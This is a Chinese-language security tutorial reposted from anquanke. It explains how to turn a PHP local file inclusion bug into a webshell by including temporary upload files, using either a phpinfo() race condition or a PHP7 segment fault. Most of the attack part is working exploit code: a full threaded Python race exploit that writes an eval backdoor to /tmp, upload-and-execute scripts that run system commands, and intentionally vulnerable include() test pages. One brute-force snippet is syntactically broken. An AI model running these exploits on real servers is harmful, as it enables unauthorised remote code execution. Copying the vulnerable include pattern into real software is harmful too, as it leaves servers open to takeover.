文章目錄
前言
最近整理PHP文件包含漏洞姿勢的時候,發現一些比較好用的姿勢關於本地文件包含漏洞可以利用臨時文件包含惡意代碼拿到Webshell的一些奇技淫巧,於是打算詳細整理一下。
PHP LFI
PHP LFI本地文件包含漏洞主要是包含本地服務器上存儲的一些文件,例如session文件、日誌文件、臨時文件等。但是,只有我們能夠控制包含的文件存儲我們的惡意代碼才能拿到服務器權限。
假如在服務器上找不到我們可以包含的文件,那該怎麼辦,此時可以通過利用一些技巧讓服務存儲我們惡意生成的臨時文件,該臨時文件包含我們構造的的惡意代碼,此時服務器就存在我們可以包含的文件了。
目前,常見的兩種臨時文件包含漏洞利用方法主要是:PHPINFO()
and PHP7 Segment Fault
,利用這兩種奇技淫巧可以向服務器上傳文件同時在服務器上生成惡意的臨時文件,然後將惡意的臨時文件包含就可以達到任意代碼執行效果也就可以拿到服務器權限進行後續操作。
臨時文件
在瞭解漏洞利用方式的時候,先來了解一下PHP臨時文件的機制
全局變量
在PHP中可以使用POST方法或者PUT方法進行文本和二進制文件的上傳。上傳的文件信息會保存在全局變量$_FILES裏。
$_FILES超級全局變量很特殊,他是預定義超級全局數組中唯一的二維數組。其作用是存儲各種與上傳文件有關的信息,這些信息對於通過PHP腳本上傳到服務器的文件至關重要。
$_FILES['userfile']['name'] 客戶端文件的原名稱。
$_FILES['userfile']['type'] 文件的 MIME 類型,如果瀏覽器提供該信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上傳文件的大小,單位爲字節。
$_FILES['userfile']['tmp_name'] 文件被上傳後在服務端儲存的臨時文件名,一般是系統默認。可以在php.ini的upload_tmp_dir 指定,默認是/tmp目錄。
$_FILES['userfile']['error'] 該文件上傳的錯誤代碼,上傳成功其值爲0,否則爲錯誤信息。
在臨時文件包含漏洞中$_FILES['userfile']['name']
這個變量值的獲取很重要,因爲臨時文件的名字都是由隨機函數生成的,只有知道文件的名字才能正確的去包含它。
存儲目錄
文件被上傳後,默認會被存儲到服務端的默認臨時目錄中,該臨時目錄由php.ini的upload_tmp_dir
屬性指定,假如upload_tmp_dir
的路徑不可寫,PHP會上傳到系統默認的臨時目錄中。
不同系統服務器常見的臨時文件默認存儲目錄,瞭解系統的默認存儲路徑很重要,因爲在很多時候服務器都是按照默認設置來運行的。
Linux目錄
Linxu系統服務的臨時文件主要存儲在根目錄的tmp文件夾下,具有一定的開放權限。
/tmp/
Windows目錄
Windows系統服務的臨時文件主要存儲在系統盤Windows文件夾下,具有一定的開放權限。
C:/Windows/
C:/Windows/Temp/
命名規則
存儲在服務器上的臨時文件的文件名都是隨機生成的,瞭解不同系統服務器對臨時文件的命名規則很重要,因爲有時候對於臨時文件我們需要去爆破,此時我們必須知道它的命名規則是什麼。
可以通過phpinfo來查看臨時文件的信息。
Linux Temporary File
Linux臨時文件主要存儲在/tmp/
目錄下,格式通常是(/tmp/php[6個隨機字符]
)
Windows Temporary File
Windows臨時文件主要存儲在C:/Windows/
目錄下,格式通常是(C:/Windows/php[4個隨機字符].tmp
)
PHPINFO特性
通過上面的介紹,服務器上存儲的臨時文件名是隨機的,這就很難獲取其真實的文件名。不過,如果目標網站上存在phpinfo,則可以通過phpinfo來獲取臨時文件名,進而進行包含。
雖說這個漏洞出現的很早(2011年,國外的安全研究人員將這種攻擊手法進行卡了公佈),不過這個技巧確實是個很經典的列子,不會被遺忘的。
測試代碼
index.php
<?php
$file = $_GET['file'];
include($file);
?>
phpinfo.php
<?php phpinfo();?>
漏洞分析
**當我們在給PHP發送POST數據包時,如果數據包裏包含文件區塊,無論你訪問的代碼中有沒有處理文件上傳的邏輯,PHP都會將這個文件保存成一個臨時文件。**文件名可以在$_FILES
變量中找到。這個臨時文件,在請求結束後就會被刪除。
利用phpinfo的特性可以很好的幫助我們,因爲phpinfo頁面會將當前請求上下文中所有變量(所有數據)都打印出來,所以我們如果向phpinfo頁面發送包含文件區塊的數據包,則即可在返回包裏找到$_FILES
變量的內容,拿到 臨時文件變量名 之後,就可以進行包含執行我們傳入的惡意代碼。
漏洞利用
- 利用條件
無 PHPINFO的這種特性源於php自身,與php的版本無關
測試腳本
編寫腳本,上傳文件探測是否存在phpinfo包含臨時文件的信息。
import requests
files = {
'file': ("aa.txt","ssss")
}
url = "http://x.x.x.x/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)
運行腳本向服務器發出請求可以看到回顯中有如下內容
Linux
Windows
利用原理
驗證了phpinfo的特性確實存在,所以在文件包含漏洞找不到可利用的文件時,我們就可以利用這一特性,找到並提取臨時文件名,然後包含之即可Getshell。
但文件包含漏洞和phpinfo頁面通常是兩個頁面,理論上我們需要先發送數據包給phpinfo頁面,然後從返回頁面中匹配出臨時文件名,再將這個文件名發送給文件包含漏洞頁面,進行getshell。但是在第一個請求結束時,臨時文件就被刪除了,第二個請求自然也就無法進行包含。
利用過程
這個時候就需要用到條件競爭,具體原理和過程如下:
(1)發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據
(2)因爲phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大
(3)php默認的輸出緩衝區大小爲4096,可以理解爲php每次返回4096個字節給socket連接
(4)所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符裏包含臨時文件名,就立即發送第二個數據包
(5)此時,第一個數據包的socket連接實際上還沒結束,因爲php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除
(6)利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell
(參考ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion )
Getshell
利用ph牛的代碼,不用重複的造輪子,直接更改腳本主要的幾個地方就可以成功運行利用,如上傳的惡意文件內容、phpinfo.php和index.php相應文件的文件名和位置、系統臨時文件寫入目錄等
exp.py
#!/usr/bin/python
#python version 2.7
import sys
import threading
import socket
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%sr
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
# PAYLOAD = """%sr
# <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i + 17:i + 31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/Qftm.php"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
運行腳本Getshell
修改腳本之後,運行即可包含生成我們精心設置好的/tmp/Qftm後門文件
拿到RCE之後,可以查看tmp下生成的後門文件
http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system('ls /tmp/')
然後使用後門管理工具連接後門webshell
/tmp/Qftm <?php eval($_REQUEST[Qftm])?>
php7 Segment Fault
利用條件
- 利用條件
7.0.0 <= PHP Version < 7.0.28
漏洞分析
在上面包含姿勢中提到的包含臨時文件,需要知道phpinfo同時還需條件競爭,但如果沒有phpinfo的存在,我們就很難利用上述方法去getshell。
那麼如果目標不存在phpinfo,應該如何處理呢?這裏可以用php7 segment fault
特性(CVE-2018-14884)進行Bypass。
php代碼中使用php://filter的strip_tags
過濾器, 可以讓 php 執行的時候直接出現 Segment Fault , 這樣 php 的垃圾回收機制就不會在繼續執行 , 導致 POST 的文件會保存在系統的緩存目錄下不會被清除而不像phpinfo那樣上傳的文件很快就會被刪除,這樣的情況下我們只需要知道其文件名就可以包含我們的惡意代碼。
官方在PHP Version 7.0.28時已經修復該漏洞
http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd
這種 包含 會導致php執行過程中出現segment fault,此時 上傳文件,臨時文件會被保存在upload_tmp_dir
所指定的目錄下,不會被刪除,這樣就能達成getshell的目的。
代碼環境
測試代碼
index.php
<?php
$a = @$_GET['file'];
include $a;
?>
dir.php
<?php
$a = @$_GET['dir'];
var_dump(scandir($a));
?>
測試環境
PHP Version 7.0.9
漏洞利用
攻擊載荷
string.strip_tags過濾器導致出現php segment fault
index.php?file=php://filter/string.strip_tags/resource=index.php
可以看到上面這種 包含 會導致php執行過程中出現錯誤,此時 上傳文件,臨時文件會被保存在upload_tmp_dir
所指定的目錄下,從而不會被刪除,一直存儲在服務器的臨時目錄裏面。
攻擊利用-技巧1
我們可以通過dir.php
輔助查找生成的臨時文件
#python version 2.7
import requests
from io import BytesIO
import re
files = {
'file': BytesIO('<?php eval($_REQUEST[Qftm]);')
}
url1 = 'http://192.168.68.119/index.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)
url2 = 'http://192.168.68.119/dir.php?dir=/tmp/'
r = requests.get(url2)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
print "++++++++++++++++++++++"
print data
print "++++++++++++++++++++++"
url3='http://192.168.68.119/index.php?file=/tmp/'+data
data = {
'Qftm':"system('whoami');"
}
r = requests.post(url=url3,data=data)
print r.content
編寫 Windows Exp
windows網絡攻擊環境下的腳本編寫
#python version 2.7
import requests
from io import BytesIO
import re
files = {
'file': BytesIO('<?php eval($_REQUEST[Qftm]);')
}
url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)
url2 = 'http://192.168.68.119/web/fi/dir.php?dir=C:/Windows/'
r = requests.get(url2)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
print "++++++++++++++++++++++"
print data
print "++++++++++++++++++++++"
url3='http://192.168.68.119/web/fi/index.php?file=C:/Windows/'+data+'.tmp'
data = {
'Qftm':"system('whoami');"
}
r = requests.post(url=url3,data=data)
print r.content
系統EXP利用
針對不同的系統環境運行腳本就可以RCE拿到任意代碼執行
然後查看服務器上惡意臨時文件,確實存在未被刪除!!
http://192.168.68.119/web/fi/dir.php?file=C:/Windows/
Getshell
由於我們上傳的惡意臨時文件沒有被刪除,那麼就可以使用Webshell管理工具蟻劍對php2EFF.tmp
進行包含利用。
C:/Windows/php2EF.tmp <?php eval($_REQUEST[Qftm])?>
攻擊利用-技巧2
暴力破解
假如沒有dir.php
還能利用嗎,答案是可以的,因爲我們傳入的惡意文件沒有被刪除,這樣我們就可以爆破這個文件的文件名。
在上面的講述中,我們知道不同的系統默認的臨時文件存儲路徑和方式都不一樣
- Linux
Linux臨時文件主要存儲在/tmp/
目錄下,格式通常是(/tmp/php[6個隨機字符]
)
- windows
Windows臨時文件主要存儲在C:/Windows/
目錄下,格式通常是(C:/Windows/php[4個隨機字符].tmp
)
對比Linux和Windows來看,Windows需要破解的位數比Linux少,從而Windows會比Linux破解速度快,位數越長所需要耗費的時間就越大。
攻擊載荷
編寫臨時文件生成和暴力破解攻擊載荷
#python version 2.7
import requests
from io import BytesIO
files = {
'file': BytesIO('<?php eval($_REQUEST[Qftm]);')
}
url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)
########################暴力破解模塊########################
url2='http://192.168.68.119/web/fi/index.php?file=C:/Windows/php'+{fuzz}+'.tmp&Qftm=system('whoami');'
data = fuzz
print "++++++++++++++++++++++"
print data
print "++++++++++++++++++++++"
########################暴力破解模塊########################
對於暴力破解模塊,可以自己添加多線程模塊進行暴力破解,也可以將暴力破解模塊拿出來單獨進行fuzz,或者比較常用的做法就是將一些fuzz工具的模塊拿出來添加到裏面稍微改一下接口就可以直接使用。
推薦使用fuzz工具直接進行fuzz測試,fuzz工具一般都包含多線程、自定義字典等,使用起來很方便,不用花費時間去編寫調試代碼。
個人比較喜歡使用Fuzz大法,不管是目錄掃描、後臺掃描、Web漏洞模糊測試都是非常靈活的。
推薦幾款好用的Fuzz工具
個人比較喜歡使用Fuzz大法,不管是目錄掃描、後臺掃描、Web漏洞模糊測試都是非常靈活的。
推薦幾款好用的Fuzz工具
基於Go開發:gobuster https://github.com/OJ/gobuster
基於Java開發:dirbuster OWASP傑出工具 kali自帶
基於Python開發:wfuzz https://github.com/xmendez/wfuzz
fuzz測試,配置參數,我這裏使用的是Kali自帶的 dirbuster
進行模糊測試
(當然也可以自己用burpsuite進行爆破)
參數設置好之後,開始進行fuzz測試
經過一段時間的破解,即可得到上傳的臨時文件的文件名,同時可以在響應包中看到後門文件的惡意代碼也正常解析執行。
Getshell
拿到我們上傳的惡意臨時文件的文件名之後就可以進行包含利用,同樣,我們上傳的惡意臨時文件沒有被刪除,使用Webshell管理工具對php2EFF.tmp
後門文件進行包含利用。
原文地址:https://www.anquanke.com/post/id/201136